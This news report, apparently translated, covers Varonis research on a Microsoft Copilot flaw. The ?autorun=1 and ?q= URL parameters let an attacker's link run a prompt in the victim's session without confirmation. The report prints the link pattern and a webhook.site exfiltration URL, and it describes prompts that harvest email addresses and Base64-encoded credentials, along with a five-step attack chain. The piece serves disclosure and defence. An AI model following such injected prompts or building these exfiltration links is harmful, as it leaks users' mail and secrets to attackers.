Technology media outlet Ars Technica published a blog post yesterday (August 18), reporting that Microsoft Copilot has a security vulnerability that can use the ?autorun=1 parameter together with ?q= to bypass user confirmation and steal user information.
IT Home cited the post as explaining that researchers at security firm Varonis found that, like most AI assistants, Copilot supports receiving prompts through URLs. The base portion of the URL can prompt the model to open applications such as Gmail, while subsequent parameters and text can ask the assistant to summarize inbox contents or draft emails.
The researchers found that Copilot has an ?autorun=1 parameter that, together with ?q=, can bypass user confirmation, allowing them to construct the following link:
https://copilot.microsoft.com/?q=&autorun=1After a user clicks a link created by an attacker, the browser loads Copilot in the user's logged-in session. The ?autorun=1 parameter triggers automatic execution, while the prompt in ?q= runs without any user gesture.
The prompt constructed by the researchers instructed Copilot to search the inbox, find the most recently received email, extract only the sender's email address, and save the result to a variable named SUPPORT. Copilot would then generate the following URL and execute the “summarize URL” command:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTAttackers can send the malicious link to victims by email, chat message, phishing page, or QR code. After the user clicks it, sensitive information is appended to another URL, which Copilot automatically opens on the device. Because the page is hosted on a website controlled by the attacker, the data is ultimately sent to the attacker.
The researchers also designed another prompt to make Copilot search the inbox for passwords and other credentials. Whenever it found relevant secrets, the assistant would send them to the same type of attacker-controlled server. To conceal the data theft and reduce transmission errors, the exfiltrated content was first converted to Base64, a format for encoding binary data as text.
Varonis listed the attack chain as five steps:
1. The victim clicks a URL carefully crafted by the attacker, distributed through email, chat, phishing pages, QR codes, or other channels.
2. The browser loads copilot.microsoft.com in the victim's active, authenticated session.
3. The ?autorun=1 parameter triggers automatic execution, and the ?q= prompt pops up without any user action.
4. Copilot processes the injected prompt and has full access to the victim's session context, connected applications, and memory.
5. Even if the Copilot tab is closed immediately after loading completes, the prompt still finishes executing, including any network fetches, connector calls, or multi-step chain operations.